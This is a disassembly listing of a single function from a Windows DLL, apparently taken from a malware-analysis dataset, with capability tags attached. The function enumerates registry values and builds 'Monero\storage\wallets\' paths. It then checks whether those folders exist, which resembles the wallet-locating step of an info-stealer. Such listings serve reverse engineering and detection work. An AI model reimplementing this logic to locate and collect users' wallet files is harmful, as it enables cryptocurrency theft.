Function at 0x1800b9670
Capabilities:
Check if file exists
Get file attributes
Query or enumerate registry value

Disassembly:
push rbp
push rdi
push r12
push r13
push r15
lea rbp, [rsp - 0x2280]
mov eax, 0x2380
call fcn.1800f64f0
sub rsp, rax
mov rax, qword [0x180128010]
xor rax, rsp
mov qword [rbp + 0x2250], rax
cmp qword [r8 + 0x18], 0x10
mov rax, rdx
mov rdx, r8
mov r15, r9
mov r12, r8
mov r13, rcx
jb 0x1800b96b8
mov rdx, qword [r8]
lea rcx, [rbp - 0x40]
mov qword [rsp + 0x2378], rbx
mov qword [rsp + 0x20], rcx
mov r9d, 0x20019
mov rcx, rax
mov qword [rsp + 0x2370], rsi
xor r8d, r8d
mov qword [rsp + 0x2368], r14
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor edi, edi
test eax, eax
jne 0x1800b9b10
xor edx, edx
lea rcx, [rbp + 0x40]
mov r8d, 0x208
call fcn.1800d1640
mov rcx, qword [rbp - 0x40]
lea rax, [rbp + 0x30]
mov qword [rsp + 0x58], rax
lea r8, [rbp - 0x10]
lea rax, [rbp + 0x18]
mov dword [rbp - 0x10], 0x104
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x40]
lea rax, [rbp + 0x1c]
mov dword [rbp - 0x14], edi
mov qword [rsp + 0x48], rax
xor r9d, r9d
lea rax, [rbp + 0x20]
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x18]
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0x24]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x28]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x14]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov eax, dword [rbp - 0x18]
test eax, eax
je 0x1800b9b10
mov r14d, edi
nop dword [rax + rax]
mov rcx, qword [rbp - 0x40]
lea r9, [rbp - 0xc]
mov qword [rsp + 0x38], rdi
lea r8, [rbp + 0x250]
mov qword [rsp + 0x30], rdi
mov edx, r14d
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
mov dword [rbp - 0xc], 0x1000
mov word [rbp + 0x250], di
call qword [sym.imp.ADVAPI32.dll_RegEnumValueW]
test eax, eax
jne 0x1800b9b03
mov qword [rbp - 8], rdi
lea rax, [rbp + 0x250]
mov qword [rbp + 8], rdi
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x10], 7
inc r8
cmp word [rax + r8*2], 0
jne 0x1800b97e0
lea rdx, [rbp + 0x250]
lea rcx, [rbp - 8]
call fcn.1800c0d70
cmp qword [rbp + 0x10], 8
lea rdx, [rbp - 8]
mov rax, qword [rbp + 8]
lea rsi, [rbp - 8]
cmovae rdx, qword [rbp - 8]
mov ecx, 0xf
cmovae rsi, qword [rbp - 8]
mov qword [rbp - 0x38], rdi
mov qword [rbp - 0x28], rdi
lea rbx, [rdx + rax*2]
mov qword [rbp - 0x20], rcx
mov rdx, rbx
sub rdx, rsi
sar rdx, 1
cmp rdx, 0x10
jb 0x1800b984d
lea rcx, [rbp - 0x38]
call fcn.1800c8900
mov rcx, qword [rbp - 0x20]
xor edi, edi
mov qword [rbp - 0x28], rdi
cmp rsi, rbx
je 0x1800b9895
movzx r9d, byte [rsi]
cmp rdi, rcx
jae 0x1800b987b
lea rax, [rdi + 1]
cmp rcx, 0x10
mov qword [rbp - 0x28], rax
lea rax, [rbp - 0x38]
cmovae rax, qword [rbp - 0x38]
mov byte [rax + rdi], r9b
mov byte [rax + rdi + 1], 0
jmp 0x1800b9884
lea rcx, [rbp - 0x38]
call fcn.1800c2080
mov rcx, qword [rbp - 0x20]
add rsi, 2
mov rdi, qword [rbp - 0x28]
cmp rsi, rbx
jne 0x1800b9852
cmp rcx, 0x10
lea rsi, [rbp - 0x38]
cmovae rsi, qword [rbp - 0x38]
cmp rdi, 0x10
jae 0x1800b98bb
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x78], 0xf
movups xmmword [rsp + 0x60], xmm0
jmp 0x1800b9936
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800b990f
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800b9c3a
mov rcx, rax
call fcn.1800ce794
mov rcx, rax
test rax, rax
je 0x1800b9c34
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800b991d
test rcx, rcx
je 0x1800b991b
call fcn.1800ce794
jmp 0x1800b991d
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x60], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800d1860
mov qword [rsp + 0x78], rbx
mov rdx, r15
mov qword [rsp + 0x70], rdi
lea rcx, [rbp - 0x60]
call fcn.1800c0900
mov rcx, rax
lea rdx, [rsp + 0x60]
call fcn.18008c600
test eax, eax
jle 0x1800b9a76
lea rdx, [rbp - 0x38]
lea rcx, [rbp - 0x80]
call fcn.18008d710
mov r8d, 0x17
lea rdx, str.Monero_storagewallets_
mov rcx, rax
call fcn.1800c0730
xor edi, edi
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], dil
mov rdx, qword [rbp - 0x20]
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rsp + 0x60], xmm1
cmp rdx, 0x10
jb 0x1800b99e3
mov rcx, qword [rbp - 0x38]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b99d5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b9c40
call fcn.1800ce78c
movups xmm0, xmmword [rbp - 0x60]
movups xmm1, xmmword [rsp + 0x60]
mov rdx, qword [rbp - 0x68]
movups xmmword [rbp - 0x38], xmm0
movups xmmword [rbp - 0x28], xmm1
cmp rdx, 0x10
jb 0x1800b9a26
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b9a21
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b9c40
call fcn.1800ce78c
cmp qword [rbp - 0x20], 0x10
lea rcx, [rbp - 0x38]
cmovae rcx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1800b9a43
xor al, al
jmp 0x1800b9a48
shr al, 4
and al, 1
test al, al
je 0x1800b9a78
mov rdx, r13
lea rcx, [rbp - 0x80]
call fcn.1800c0900
lea rdx, [rbp - 0x38]
mov rbx, rax
lea rcx, [rsp + 0x60]
call fcn.1800c0900
mov rcx, rax
mov rdx, rbx
call fcn.1800b8fd0
jmp 0x1800b9a78
xor edi, edi
mov rdx, qword [rbp - 0x20]
cmp rdx, 0x10
jb 0x1800b9ab3
mov rcx, qword [rbp - 0x38]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b9aae
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b9c28
call fcn.1800ce78c
mov rdx, qword [rbp + 0x10]
mov qword [rbp - 0x28], rdi
mov qword [rbp - 0x20], 0xf
mov byte [rbp - 0x38], 0
cmp rdx, 8
jb 0x1800b9b03
mov rcx, qword [rbp - 8]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b9afe
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b9c28
call fcn.1800ce78c
inc r14d
cmp r14d, dword [rbp - 0x18]
jb 0x1800b9780
mov rdx, qword [r13 + 0x18]
cmp rdx, 0x10
jb 0x1800b9b4b
mov rcx, qword [r13]
inc rdx
cmp rdx, 0x1000
jb 0x1800b9b46
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800b9c2e
mov rcx, r8
call fcn.1800ce78c
mov qword [r13 + 0x10], rdi
mov qword [r13 + 0x18], 0xf
mov byte [r13], 0
mov rdx, qword [r12 + 0x18]
cmp rdx, 0x10
jb 0x1800b9b98
mov rcx, qword [r12]
inc rdx
cmp rdx, 0x1000
jb 0x1800b9b93
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800b9c2e
mov rcx, r8
call fcn.1800ce78c
mov qword [r12 + 0x10], rdi
mov qword [r12 + 0x18], 0xf
mov byte [r12], 0
mov rdx, qword [r15 + 0x18]
cmp rdx, 0x10
jb 0x1800b9be1
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x1800b9bdc
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800b9c2e
mov rcx, r8
call fcn.1800ce78c
mov r14, qword [rsp + 0x2368]
mov rsi, qword [rsp + 0x2370]
mov rbx, qword [rsp + 0x2378]
mov qword [r15 + 0x10], rdi
mov qword [r15 + 0x18], 0xf
mov byte [r15], 0
mov rcx, qword [rbp + 0x2250]
xor rcx, rsp
call fcn.1800ce4d0
add rsp, 0x2380
pop r15
pop r13
pop r12
pop rdi
pop rbp
ret
call fcn.1800dd818
int3
call fcn.1800dd818
int3
call fcn.1800dd818
int3
call fcn.180088bd0
int3
call fcn.1800dd818
int3